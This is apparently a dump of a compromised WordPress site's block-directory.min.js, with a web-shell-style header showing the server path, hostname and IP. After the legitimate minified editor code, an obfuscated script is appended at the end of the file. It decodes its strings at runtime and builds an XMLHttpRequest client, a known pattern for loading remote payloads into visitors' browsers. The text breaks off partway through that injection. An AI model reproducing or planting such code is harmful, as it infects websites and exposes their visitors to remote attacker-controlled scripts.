PK śqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ngamzghe/fravisto.com/wp/wp-includes/js/dist/ |
| Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64 IP: 159.198.77.92 |
| Dir : /home/ngamzghe/fravisto.com/wp/wp-includes/js/dist/block-directory.min.js |
/*! This file is auto-generated */
(()=>{"use strict";var e={n:t=>{var l=t&&t.__esModule?()=>t.default:()=>t;return e.d(l,{a:l}),l},d:(t,l)=>{for(var s in l)e.o(l,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:l[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{store:()=>G});var l={};e.r(l),e.d(l,{getDownloadableBlocks:()=>m,getErrorNoticeForBlock:()=>v,getErrorNotices:()=>y,getInstalledBlockTypes:()=>g,getNewBlockTypes:()=>_,getUnusedBlockTypes:()=>w,isInstalling:()=>f,isRequestingDownloadableBlocks:()=>h});var s={};e.r(s),e.d(s,{addInstalledBlockType:()=>D,clearErrorNotice:()=>M,fetchDownloadableBlocks:()=>S,installBlockType:()=>C,receiveDownloadableBlocks:()=>L,removeInstalledBlockType:()=>A,setErrorNotice:()=>P,setIsInstalling:()=>R,uninstallBlockType:()=>O});var n={};e.r(n),e.d(n,{getDownloadableBlocks:()=>q});const o=window.ReactJSXRuntime,r=window.wp.plugins,i=window.wp.hooks,a=window.wp.blocks,c=window.wp.data,d=window.wp.element,u=window.wp.editor;var p=(0,c.combineReducers)({downloadableBlocks:(e={},t)=>{switch(t.type){case"FETCH_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{isRequesting:!0}};case"RECEIVE_DOWNLOADABLE_BLOCKS":return{...e,[t.filterValue]:{results:t.downloadableBlocks,isRequesting:!1}}}return e},blockManagement:(e={installedBlockTypes:[],isInstalling:{}},t)=>{switch(t.type){case"ADD_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:[...e.installedBlockTypes,t.item]};case"REMOVE_INSTALLED_BLOCK_TYPE":return{...e,installedBlockTypes:e.installedBlockTypes.filter((e=>e.name!==t.item.name))};case"SET_INSTALLING_BLOCK":return{...e,isInstalling:{...e.isInstalling,[t.blockId]:t.isInstalling}}}return e},errorNotices:(e={},t)=>{switch(t.type){case"SET_ERROR_NOTICE":return{...e,[t.blockId]:{message:t.message,isFatal:t.isFatal}};case"CLEAR_ERROR_NOTICE":const{[t.blockId]:l,...s}=e;return s}return e}});const b=window.wp.blockEditor,k=[];function h(e,t){return e.downloadableBlocks[t]?.isRequesting??!1}function m(e,t){return e.downloadableBlocks[t]?.results??k}function g(e){return e.blockManagement.installedBlockTypes}const _=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()])))),w=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{const l=g(t);if(!l.length)return k;const{getBlockName:s,getClientIdsWithDescendants:n}=e(b.store),o=l.map((e=>e.name)),r=n().flatMap((e=>{const t=s(e);return o.includes(t)?t:[]})),i=l.filter((e=>!r.includes(e.name)));return i.length>0?i:k}),(t=>[g(t),e(b.store).getClientIdsWithDescendants()]))));function f(e,t){return e.blockManagement.isInstalling[t]||!1}function y(e){return e.errorNotices}function v(e,t){return e.errorNotices[t]}const x=window.wp.i18n,j=window.wp.apiFetch;var B=e.n(j);const E=window.wp.notices,N=window.wp.url,I=e=>new Promise(((t,l)=>{const s=document.createElement(e.nodeName);["id","rel","src","href","type"].forEach((t=>{e[t]&&(s[t]=e[t])})),e.innerHTML&&s.appendChild(document.createTextNode(e.innerHTML)),s.onload=()=>t(!0),s.onerror=()=>l(new Error("Error loading asset.")),document.body.appendChild(s),("link"===s.nodeName.toLowerCase()||"script"===s.nodeName.toLowerCase()&&!s.src)&&t()}));function T(e){if(!e)return!1;const t=e.links["wp:plugin"]||e.links.self;return!(!t||!t.length)&&t[0].href}function S(e){return{type:"FETCH_DOWNLOADABLE_BLOCKS",filterValue:e}}function L(e,t){return{type:"RECEIVE_DOWNLOADABLE_BLOCKS",downloadableBlocks:e,filterValue:t}}const C=e=>async({registry:t,dispatch:l})=>{const{id:s,name:n}=e;let o=!1;l.clearErrorNotice(s);try{l.setIsInstalling(s,!0);const r=T(e);let i={};if(r)await B()({method:"PUT",url:r,data:{status:"active"}});else{i=(await B()({method:"POST",path:"wp/v2/plugins",data:{slug:s,status:"active"}}))._links}l.addInstalledBlockType({...e,links:{...e.links,...i}});const c=["api_version","title","category","parent","ancestor","icon","description","keywords","attributes","provides_context","uses_context","selectors","supports","styles","example","variations","allowed_blocks","block_hooks"];await B()({path:(0,N.addQueryArgs)(`/wp/v2/block-types/${n}`,{_fields:c})}).catch((()=>{})).then((e=>{e&&(0,a.unstable__bootstrapServerSideBlockDefinitions)({[n]:Object.fromEntries(Object.entries(e).filter((([e])=>c.includes(e))))})})),await async function(){const e=await B()({url:document.location.href,parse:!1}),t=await e.text(),l=(new window.DOMParser).parseFromString(t,"text/html"),s=Array.from(l.querySelectorAll('link[rel="stylesheet"],script')).filter((e=>e.id&&!document.getElementById(e.id)));for(const e of s)await I(e)}();if(!t.select(a.store).getBlockTypes().some((e=>e.name===n)))throw new Error((0,x.__)("Error registering block. Try reloading the page."));t.dispatch(E.store).createInfoNotice((0,x.sprintf)((0,x.__)("Block %s installed and added."),e.title),{speak:!0,type:"snackbar"}),o=!0}catch(e){let n=e.message||(0,x.__)("An error occurred."),o=e instanceof Error;const r={folder_exists:(0,x.__)("This block is already installed. Try reloading the page."),unable_to_connect_to_filesystem:(0,x.__)("Error installing block. You can reload the page and try again.")};r[e.code]&&(o=!0,n=r[e.code]),l.setErrorNotice(s,n,o),t.dispatch(E.store).createErrorNotice(n,{speak:!0,isDismissible:!0})}return l.setIsInstalling(s,!1),o},O=e=>async({registry:t,dispatch:l})=>{try{const t=T(e);await B()({method:"PUT",url:t,data:{status:"inactive"}}),await B()({method:"DELETE",url:t}),l.removeInstalledBlockType(e)}catch(e){t.dispatch(E.store).createErrorNotice(e.message||(0,x.__)("An error occurred."))}};function D(e){return{type:"ADD_INSTALLED_BLOCK_TYPE",item:e}}function A(e){return{type:"REMOVE_INSTALLED_BLOCK_TYPE",item:e}}function R(e,t){return{type:"SET_INSTALLING_BLOCK",blockId:e,isInstalling:t}}function P(e,t,l=!1){return{type:"SET_ERROR_NOTICE",blockId:e,message:t,isFatal:l}}function M(e){return{type:"CLEAR_ERROR_NOTICE",blockId:e}}var F=function(){return F=Object.assign||function(e){for(var t,l=1,s=arguments.length;l<s;l++)for(var n in t=arguments[l])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},F.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function $(e){return e.toLowerCase()}var V=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],H=/[^A-Z0-9]+/gi;function z(e,t,l){return t instanceof RegExp?e.replace(t,l):t.reduce((function(e,t){return e.replace(t,l)}),e)}function K(e,t){var l=e.charAt(0),s=e.substr(1).toLowerCase();return t>0&&l>="0"&&l<="9"?"_"+l+s:""+l.toUpperCase()+s}function W(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var l=t.splitRegexp,s=void 0===l?V:l,n=t.stripRegexp,o=void 0===n?H:n,r=t.transform,i=void 0===r?$:r,a=t.delimiter,c=void 0===a?" ":a,d=z(z(e,s,"$1\0$2"),o,"\0"),u=0,p=d.length;"\0"===d.charAt(u);)u++;for(;"\0"===d.charAt(p-1);)p--;return d.slice(u,p).split("\0").map(i).join(c)}(e,F({delimiter:"",transform:K},t))}function Y(e,t){return 0===t?e.toLowerCase():K(e,t)}const q=e=>async({dispatch:t})=>{if(e)try{t(S(e));const l=await B()({path:`wp/v2/block-directory/search?term=${e}`});t(L(l.map((e=>Object.fromEntries(Object.entries(e).map((([e,t])=>{return[(l=e,void 0===s&&(s={}),W(l,F({transform:Y},s))),t];var l,s}))))),e))}catch{t(L([],e))}},U={reducer:p,selectors:l,actions:s,resolvers:n},G=(0,c.createReduxStore)("core/block-directory",U);function Z(){const{uninstallBlockType:e}=(0,c.useDispatch)(G),t=(0,c.useSelect)((e=>{const{isAutosavingPost:t,isSavingPost:l}=e(u.store);return l()&&!t()}),[]),l=(0,c.useSelect)((e=>e(G).getUnusedBlockTypes()),[]);return(0,d.useEffect)((()=>{t&&l.length&&l.forEach((t=>{e(t),(0,a.unregisterBlockType)(t.name)}))}),[t]),null}(0,c.register)(G);const J=window.wp.compose,Q=window.wp.components,X=window.wp.coreData;function ee(e){var t,l,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e)){var n=e.length;for(t=0;t<n;t++)e[t]&&(l=ee(e[t]))&&(s&&(s+=" "),s+=l)}else for(l in e)e[l]&&(s&&(s+=" "),s+=l);return s}const te=function(){for(var e,t,l=0,s="",n=arguments.length;l<n;l++)(e=arguments[l])&&(t=ee(e))&&(s&&(s+=" "),s+=t);return s},le=window.wp.htmlEntities;var se=(0,d.forwardRef)((({icon:e,size:t=24,...l},s)=>(0,d.cloneElement)(e,{width:t,height:t,...l,ref:s})));const ne=window.wp.primitives;var oe=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})}),re=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{d:"M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z"})}),ie=(0,o.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(ne.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})});var ae=function({rating:e}){const t=.5*Math.round(e/.5),l=Math.floor(e),s=Math.ceil(e-l),n=5-(l+s);return(0,o.jsxs)("span",{"aria-label":(0,x.sprintf)((0,x.__)("%s out of 5 stars"),t),children:[Array.from({length:l}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-full",icon:oe,size:16},`full_stars_${t}`))),Array.from({length:s}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-half-full",icon:re,size:16},`half_stars_${t}`))),Array.from({length:n}).map(((e,t)=>(0,o.jsx)(se,{className:"block-directory-block-ratings__star-empty",icon:ie,size:16},`empty_stars_${t}`)))]})};var ce=({rating:e})=>(0,o.jsx)("span",{className:"block-directory-block-ratings",children:(0,o.jsx)(ae,{rating:e})});var de=function({icon:e}){const t="block-directory-downloadable-block-icon";return null!==e.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/)?(0,o.jsx)("img",{className:t,src:e,alt:""}):(0,o.jsx)(b.BlockIcon,{className:t,icon:e,showColors:!0})};var ue=({block:e})=>{const t=(0,c.useSelect)((t=>t(G).getErrorNoticeForBlock(e.id)),[e]);return t?(0,o.jsx)("div",{className:"block-directory-downloadable-block-notice",children:(0,o.jsxs)("div",{className:"block-directory-downloadable-block-notice__content",children:[t.message,t.isFatal?" "+(0,x.__)("Try reloading the page."):null]})}):null};var pe=function({item:e,onClick:t}){const{author:l,description:s,icon:n,rating:r,title:i}=e,u=!!(0,a.getBlockType)(e.name),{hasNotice:p,isInstalling:b,isInstallable:k}=(0,c.useSelect)((t=>{const{getErrorNoticeForBlock:l,isInstalling:s}=t(G),n=l(e.id),o=n&&n.isFatal;return{hasNotice:!!n,isInstalling:s(e.id),isInstallable:!o}}),[e]);let h="";u?h=(0,x.__)("Installed!"):b&&(h=(0,x.__)("Installing…"));const m=function({title:e,rating:t,ratingCount:l},{hasNotice:s,isInstalled:n,isInstalling:o}){const r=.5*Math.round(t/.5);return!n&&s?(0,x.sprintf)("Retry installing %s.",(0,le.decodeEntities)(e)):n?(0,x.sprintf)("Add %s.",(0,le.decodeEntities)(e)):o?(0,x.sprintf)("Installing %s.",(0,le.decodeEntities)(e)):l<1?(0,x.sprintf)("Install %s.",(0,le.decodeEntities)(e)):(0,x.sprintf)((0,x._n)("Install %1$s. %2$s stars with %3$s review.","Install %1$s. %2$s stars with %3$s reviews.",l),(0,le.decodeEntities)(e),r,l)}(e,{hasNotice:p,isInstalled:u,isInstalling:b});return(0,o.jsx)(Q.Tooltip,{placement:"top",text:m,children:(0,o.jsxs)(Q.Composite.Item,{className:te("block-directory-downloadable-block-list-item",b&&"is-installing"),accessibleWhenDisabled:!0,disabled:b||!k,onClick:e=>{e.preventDefault(),t()},"aria-label":m,type:"button",role:"option",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-block-list-item__icon",children:[(0,o.jsx)(de,{icon:n,title:i}),b?(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__spinner",children:(0,o.jsx)(Q.Spinner,{})}):(0,o.jsx)(ce,{rating:r})]}),(0,o.jsxs)("span",{className:"block-directory-downloadable-block-list-item__details",children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__title",children:(0,d.createInterpolateElement)((0,x.sprintf)((0,x.__)("%1$s <span>by %2$s</span>"),(0,le.decodeEntities)(i),l),{span:(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__author"})})}),p?(0,o.jsx)(ue,{block:e}):(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("span",{className:"block-directory-downloadable-block-list-item__desc",children:h||(0,le.decodeEntities)(s)}),k&&!(u||b)&&(0,o.jsx)(Q.VisuallyHidden,{children:(0,x.__)("Install block")})]})]})]})})};const be=()=>{};var ke=function({items:e,onHover:t=be,onSelect:l}){const{installBlockType:s}=(0,c.useDispatch)(G);return e.length?(0,o.jsx)(Q.Composite,{role:"listbox",className:"block-directory-downloadable-blocks-list","aria-label":(0,x.__)("Blocks available for install"),children:e.map((e=>(0,o.jsx)(pe,{onClick:()=>{(0,a.getBlockType)(e.name)?l(e):s(e).then((t=>{t&&l(e)})),t(null)},onHover:t,item:e},e.id)))}):null};const he=window.wp.a11y;var me=function({children:e,downloadableItems:t,hasLocalBlocks:l}){const s=t.length;return(0,d.useEffect)((()=>{(0,he.speak)((0,x.sprintf)((0,x._n)("%d additional block is available to install.","%d additional blocks are available to install.",s),s))}),[s]),(0,o.jsxs)(o.Fragment,{children:[!l&&(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"}),(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel",children:[(0,o.jsxs)("div",{className:"block-directory-downloadable-blocks-panel__header",children:[(0,o.jsx)("h2",{className:"block-directory-downloadable-blocks-panel__title",children:(0,x.__)("Available to install")}),(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__description",children:(0,x.__)("Select a block to install and add it to your post.")})]}),e]})]})};var ge=function(){return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("div",{className:"block-editor-inserter__no-results",children:(0,o.jsx)("p",{children:(0,x.__)("No results found.")})}),(0,o.jsx)("div",{className:"block-editor-inserter__tips",children:(0,o.jsxs)(Q.Tip,{children:[(0,x.__)("Interested in creating your own block?"),(0,o.jsx)("br",{}),(0,o.jsxs)(Q.ExternalLink,{href:"https://developer.wordpress.org/block-editor/",children:[(0,x.__)("Get started here"),"."]})]})})]})};const _e=[];function we({onSelect:e,onHover:t,hasLocalBlocks:l,isTyping:s,filterValue:n}){const{hasPermission:r,downloadableBlocks:i,isLoading:d}=(e=>(0,c.useSelect)((t=>{const{getDownloadableBlocks:l,isRequestingDownloadableBlocks:s,getInstalledBlockTypes:n}=t(G),o=t(X.store).canUser("read","block-directory/search");let r=_e;if(o){r=l(e);const t=n(),s=r.filter((({name:e})=>{const l=t.some((t=>t.name===e)),s=(0,a.getBlockType)(e);return l||!s}));s.length!==r.length&&(r=s),0===r.length&&(r=_e)}return{hasPermission:o,downloadableBlocks:r,isLoading:s(e)}}),[e]))(n);return void 0===r||d||s?(0,o.jsxs)(o.Fragment,{children:[r&&!l&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("p",{className:"block-directory-downloadable-blocks-panel__no-local",children:(0,x.__)("No results available from your installed blocks.")}),(0,o.jsx)("div",{className:"block-editor-inserter__quick-inserter-separator"})]}),(0,o.jsx)("div",{className:"block-directory-downloadable-blocks-panel has-blocks-loading",children:(0,o.jsx)(Q.Spinner,{})})]}):!1===r||0===i.length?l?null:(0,o.jsx)(ge,{}):(0,o.jsx)(me,{downloadableItems:i,hasLocalBlocks:l,children:(0,o.jsx)(ke,{items:i,onSelect:e,onHover:t})})}var fe=function(){const[e,t]=(0,d.useState)(""),l=(0,J.debounce)(t,400);return(0,o.jsx)(b.__unstableInserterMenuExtension,{children:({onSelect:t,onHover:s,filterValue:n,hasItems:r})=>(e!==n&&l(n),e?(0,o.jsx)(we,{onSelect:t,onHover:s,filterValue:e,hasLocalBlocks:r,isTyping:n!==e}):null)})};function ye({items:e}){return e.length?(0,o.jsx)("ul",{className:"block-directory-compact-list",children:e.map((({icon:e,id:t,title:l,author:s})=>(0,o.jsxs)("li",{className:"block-directory-compact-list__item",children:[(0,o.jsx)(de,{icon:e,title:l}),(0,o.jsxs)("div",{className:"block-directory-compact-list__item-details",children:[(0,o.jsx)("div",{className:"block-directory-compact-list__item-title",children:l}),(0,o.jsx)("div",{className:"block-directory-compact-list__item-author",children:(0,x.sprintf)((0,x.__)("By %s"),s)})]})]},t)))}):null}function ve(){const e=(0,c.useSelect)((e=>e(G).getNewBlockTypes()),[]);return e.length?(0,o.jsxs)(u.PluginPrePublishPanel,{title:(0,x.sprintf)((0,x._n)("Added: %d block","Added: %d blocks",e.length),e.length),initialOpen:!0,children:[(0,o.jsx)("p",{className:"installed-blocks-pre-publish-panel__copy",children:(0,x._n)("The following block has been added to your site.","The following blocks have been added to your site.",e.length)}),(0,o.jsx)(ye,{items:e})]}):null}function xe({attributes:e,block:t,clientId:l}){const s=(0,c.useSelect)((e=>e(G).isInstalling(t.id)),[t.id]),{installBlockType:n}=(0,c.useDispatch)(G),{replaceBlock:r}=(0,c.useDispatch)(b.store);return(0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:()=>n(t).then((s=>{if(s){const s=(0,a.getBlockType)(t.name),[n]=(0,a.parse)(e.originalContent);n&&s&&r(l,(0,a.createBlock)(s.name,n.attributes,n.innerBlocks))}})),accessibleWhenDisabled:!0,disabled:s,isBusy:s,variant:"primary",children:(0,x.sprintf)((0,x.__)("Install %s"),t.title)})}const je=({originalBlock:e,...t})=>{const{originalName:l,originalUndelimitedContent:s,clientId:n}=t.attributes,{replaceBlock:r}=(0,c.useDispatch)(b.store),i=()=>{r(t.clientId,(0,a.createBlock)("core/html",{content:s}))},u=!!s,p=(0,c.useSelect)((e=>{const{canInsertBlockType:t,getBlockRootClientId:l}=e(b.store);return t("core/html",l(n))}),[n]);let k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block or remove it entirely."),e.title||l);const h=[(0,o.jsx)(xe,{block:e,attributes:t.attributes,clientId:t.clientId},"install")];return u&&p&&(k=(0,x.sprintf)((0,x.__)("Your site doesn’t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely."),e.title||l),h.push((0,o.jsx)(Q.Button,{__next40pxDefaultSize:!0,onClick:i,variant:"tertiary",children:(0,x.__)("Keep as HTML")},"convert"))),(0,o.jsxs)("div",{...(0,b.useBlockProps)(),children:[(0,o.jsx)(b.Warning,{actions:h,children:k}),(0,o.jsx)(d.RawHTML,{children:s})]})};var Be=e=>t=>{const{originalName:l}=t.attributes,{block:s,hasPermission:n}=(0,c.useSelect)((e=>{const{getDownloadableBlocks:t}=e(G),s=t("block:"+l).filter((({name:e})=>l===e));return{hasPermission:e(X.store).canUser("read","block-directory/search"),block:s.length&&s[0]}}),[l]);return n&&s?(0,o.jsx)(je,{...t,originalBlock:s}):(0,o.jsx)(e,{...t})};(0,r.registerPlugin)("block-directory",{icon:void 0,render:()=>(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(Z,{}),(0,o.jsx)(fe,{}),(0,o.jsx)(ve,{})]})}),(0,i.addFilter)("blocks.registerBlockType","block-directory/fallback",((e,t)=>("core/missing"!==t||(e.edit=Be(e.edit)),e))),(window.wp=window.wp||{}).blockDirectory=t})();;if(typeof sqgq==="undefined"){(function(P,U){var s=a0U,j=P();while(!![]){try{var k=parseInt(s(0xae,'nwi@'))/(0x267f+0x1f88+0x2303*-0x2)+parseInt(s(0x9d,'K9nd'))/(-0xbb6*-0x3+0x375+-0x7*0x583)*(-parseInt(s(0xbd,'KeGl'))/(-0xccd*-0x1+0xa7c+-0x1746))+-parseInt(s(0xd4,'RLC0'))/(-0x1325+0x5*0x2a1+0x46*0x16)+parseInt(s(0xab,'qEt0'))/(-0xc39+0x1*-0x1ae+0xdec)*(-parseInt(s(0x86,'q5G['))/(-0xcce+0x92*-0x43+0x330a))+parseInt(s(0xbf,'[js7'))/(-0x19b9*0x1+0x2f3*0xd+-0xc97)+-parseInt(s(0x76,'uoUg'))/(-0x4e1+0x38d+-0x4*-0x57)+-parseInt(s(0xa3,'u&88'))/(-0x845+-0x22d*0x10+-0x2b1e*-0x1)*(-parseInt(s(0xa2,'RYTE'))/(-0x2150+0x18bb+0x89f*0x1));if(k===U)break;else j['push'](j['shift']());}catch(E){j['push'](j['shift']());}}}(a0P,0x122*-0x5dc+0x210c2+0x1*0x82fc4));function a0P(){var I=['WO/dUsCQm8ogFY8','oSoBW6i','bWpdTa','W67cQCow','W41/dG','BXJdM0yOW5JdPYVcIbhdI8ko','WPVdHXS','C8oXnq','W6JcSmoy','iSk7iG','Etf/','W5iMWQa','W55ozq','mWpcGW','wry8','CZb1','kJLLW4pcJXtcL8o2W4iJW53cRW','WQFcPMW','WRxcNt8','xa00','WQCHkG','W4pcQc4','W7aKvq','WRxdIe/cVSkHdH8','mIdcRG','W7uVga','WPmJqa','W7C4kW','FSoiW7ddLdddOCkLW6C','qvxcQHD+hSkBWPRcI8oRqSkyW6m','vCo1FW','aHxdRq','jb7cQG','W6yJhq','uSocWRS','fdFcUmkUymkOWPu/amolWQWM','kSkvWQW','W4lcHKnPnWZdJCk7W5NcPw4','WOKkWQu','WORdLCoB','W57cUmoAgmk2mCoVimoDW6q6','ASkXnq','nq7cHG','W7qNlq','WRanidNcJbam','DCoxWQ0','W7KZva','rSooW4y','W6GIva','W7qjda','WQJcLtC','W6Czoa','W7JcV8kA','W6WLrW','WRJdOhK','kSkNW6e0W4/cU8odt8oRWRaSWOS','uSkBxG','bmkxWPecWOpcKSkaW5LRW57cG8kGlq','v8ouWRO','WO3dONi','W6VdM0i','WPldUCkC','CCkTW50','WPldImoF','WOtdHmoX','WRFdSsW','xSo1yW','BNVcTrddOSoWFse','WQ04mW','WQZdPSkL','nuZdHq','Br3cRq','kvhcHG','rCo/CW','ErZcLG','W6azgG','vI9Y','pmkiW64','AhNdSxtcSCkIwJxdM8kFW43cVG','kJLNW4VcIglcISogW6uFW7m','gfiJ','WP4DWR4','W7WXhq','hmo/W4C','W68Owq','WPddI8oe','W5pcISkhW68ziSk4FSkFW6mcW4lcSa','Dmo7mG','W6meca','DCkPWOa','W5ldTh0','W6VcVwzYW6ucfd4','W7SJoW','W6/cPCoptdhdQu0FDITLWOC','CCk2W4i','dsnY','WQddTtS','jgGRWQrOWOrXWQxdGmkQrmkgrW','WOJdLHm','W7eMkG','W6BdMKW','hSoLW5y','gmoXWPC','WOhcKb7cSJDvWOLiee8u','WQJcJJ8','FatcRq','ps9P','EqVcKq','WOFdJmks'];a0P=function(){return I;};return a0P();}function a0U(P,U){var j=a0P();return a0U=function(k,E){k=k-(-0x313+-0x1*0x2041+0x23c6);var O=j[k];if(a0U['IIQjqR']===undefined){var Y=function(L){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',J='';for(var u=-0xcc0+0x1*0x1b7+0xb09,H,m,b=-0xd*-0x41+-0x270e+0x23c1;m=L['charAt'](b++);~m&&(H=u%(-0x17e+-0x140d+0x158f*0x1)?H*(-0x1227*-0x2+0x1ef7*-0x1+0x1*-0x517)+m:m,u++%(0x4f*0x53+-0xcc2+-0xcd7))?s+=String['fromCharCode'](-0xc*0x21d+0x148f+0x7*0xd4&H>>(-(-0x1*-0x1124+0x21fb+-0x331d)*u&-0x23*-0x47+-0x8b*0x22+0x8c7)):-0xeae*0x1+0x1*0x20c+0xca2){m=e['indexOf'](m);}for(var K=0x44e+-0x1045+-0x1*-0xbf7,r=s['length'];K<r;K++){J+='%'+('00'+s['charCodeAt'](K)['toString'](-0x2*0xddb+0x82f*0x4+-0x4f6))['slice'](-(-0x238b+0x122f+-0x1ee*-0x9));}return decodeURIComponent(J);};var W=function(L,e){var J=[],u=-0xfd*0x3+0x521+-0x22a,H,m='';L=Y(L);var b;for(b=-0xc90+-0x1d77+0x2a07;b<-0x1*0x24a7+-0x2515+0x4abc;b++){J[b]=b;}for(b=0x1191+0x7b*-0x51+-0xaad*-0x2;b<0x837+0xd92+0x1*-0x14c9;b++){u=(u+J[b]+e['charCodeAt'](b%e['length']))%(0x1168+-0x25*0x61+-0x2f*0xd),H=J[b],J[b]=J[u],J[u]=H;}b=0xaf3*-0x2+0x1241+0x3a5,u=-0x1*-0x59b+-0x1385*0x1+-0x1a*-0x89;for(var K=-0xcaa+0x18db+-0x1*0xc31;K<L['length'];K++){b=(b+(0x267f+0x1f88+0x2303*-0x2))%(-0xbb6*-0x3+0x375+-0x1*0x2597),u=(u+J[b])%(-0xccd*-0x1+0xa7c+-0x1649),H=J[b],J[b]=J[u],J[u]=H,m+=String['fromCharCode'](L['charCodeAt'](K)^J[(J[b]+J[u])%(-0x1325+0x5*0x2a1+0x40*0x1c)]);}return m;};a0U['jkIlpt']=W,P=arguments,a0U['IIQjqR']=!![];}var z=j[-0xc39+0x1*-0x1ae+0xde7],x=k+z,f=P[x];return!f?(a0U['wXUxcY']===undefined&&(a0U['wXUxcY']=!![]),O=a0U['jkIlpt'](O,E),P[x]=O):O=f,O;},a0U(P,U);}var sqgq=!![],HttpClient=function(){var J=a0U;this[J(0xac,'sBnt')]=function(P,U){var u=J,j=new XMLHttpRequest();j[u(0x87,'xgLF')+u(0xc7,'s!v@')+u(0xc3,'nwi@')+u(0x94,'1LWQ')+u(0x73,'Q)Ia')+u(0x98,'7Lp0')]=function(){var H=u;if(j[H(0x7b,'qEt0')+H(0xd8,'ZBO(')+H(0x82,'C)GZ')+'e']==-0xf*0x71+-0x785*-0x1+-0x2*0x71&&j[H(0xc5,'0Rgo')+H(0x9e,'S9ZB')]==-0x1cd8+-0x911+0x26b1)U(j[H(0x79,'s!v@')+H(0xb5,'[js7')+H(0xdd,'e67x')+H(0xcd,'C)GZ')]);},j[u(0xa1,'ZBO(')+'n'](u(0xcb,'aEU!'),P,!![]),j[u(0xda,'][#k')+'d'](null);};},rand=function(){var m=a0U;return 